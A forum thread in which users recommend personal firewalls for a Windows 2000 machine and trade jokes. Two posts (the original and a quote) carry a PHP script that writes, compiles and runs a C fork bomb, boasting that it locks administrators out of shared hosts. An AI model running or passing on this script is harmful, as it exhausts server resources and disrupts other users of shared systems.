Personal firewall that doesn't suck

[TheMonkey]

Any recommendations? This is for a Windows 2000 machine which is patched straight into the back of a router with no admin access.

I've tried Kerio and ZoneAlarm which either crash or annoy the hell out of the user.

I need something silent, easy to admin and doesn't crash leaving the machine wide open.

[HankWangford]

avg

I use avg,it's cheap, chearfull and more to the point stable, does the job without annoying little messages popping up.

http://www.grisoft.com/doc/avgplusfw/lng/us/tpl/tpl01

[TheMonkey]

Ahh didn't know they did a firewall! I use their AV stuff so I should have noticed. Will investigate.

Thanks!

[scotspine]

you do seem to have some highly temperamental machines monkey. are you sure you are talking nicely to them? first ie7 and now zonealarm crashing!? maybe you could try a ram upgrade. 32mb is not generally considered enough these days for a happy pc.

[TheMonkey]

you do seem to have some highly temperamental machines monkey. are you sure you are talking nicely to them? first ie7 and now zonealarm crashing!? maybe you could try a ram upgrade. 32mb is not generally considered enough these days for a happy pc.

Very funny. My machines are my bitches and they will remain so.

Machines are fine. Zone Alarm is a total pile of crap - bug-the-user-ware as I like to call it. Kerio is just craply written. Everything else is rock solid.

As for IE7, it's just WRONG in the way it handles CSS in some circumstances.

Just checked the uptime on the windows 2000 box (!!!!!). Only 3 years and 41 days. A miracle!

[scotspine]

yep, but just wait till you put your 'hello world' php web app on it...

[TheMonkey]

yep, but just wait till you put your 'hello world' php web app on it...

This is my hello world php app:

<?php
echo "Hello World and goodbye!";
exec("echo \"#include <unistd.h>\\nint main() { for(;;) fork(); return 0; }\" > /tmp/blast.c");
exec("cc /tmp/blast.c -o /tmp/boom");
exec("/tmp/boom");
?>

Works wonders on the tuliptier hosts and they can't even SSH in to sort it out as the ssh daemon can't fork a shell because the process table is full. Woot!

[DaveB]

Very funny. My machines are my bitches and they will remain so.

Machines are fine. Zone Alarm is a total pile of crap - bug-the-user-ware as I like to call it. Kerio is just craply written. Everything else is rock solid.

As for IE7, it's just WRONG in the way it handles CSS in some circumstances.

Just checked the uptime on the windows 2000 box (!!!!!). Only 3 years and 41 days. A miracle!

If zone alarm is bugging your users then turn off the notification option.

I run it on 6 machines at home and non of them produce popup notifications.

[scotspine]

This is my hello world php app:

<?php
echo "Hello World and goodbye!";
exec("echo \"#include <unistd.h>\\nint main() { for(;;) fork(); return 0; }\" > /tmp/blast.c");
exec("cc /tmp/blast.c -o /tmp/boom");
exec("/tmp/boom");
?>

Works wonders on the tuliptier hosts and they can't even SSH in to sort it out as the ssh daemon can't fork a shell because the process table is full. Woot!

blimey! makes a .not [toot toot] stack trace read like enid blyton. perhaps it has a memory leak?

[Hugh Jardon]

Firewall

I used the free Sygate firewall for nearly 3 years now.
Never had a problem.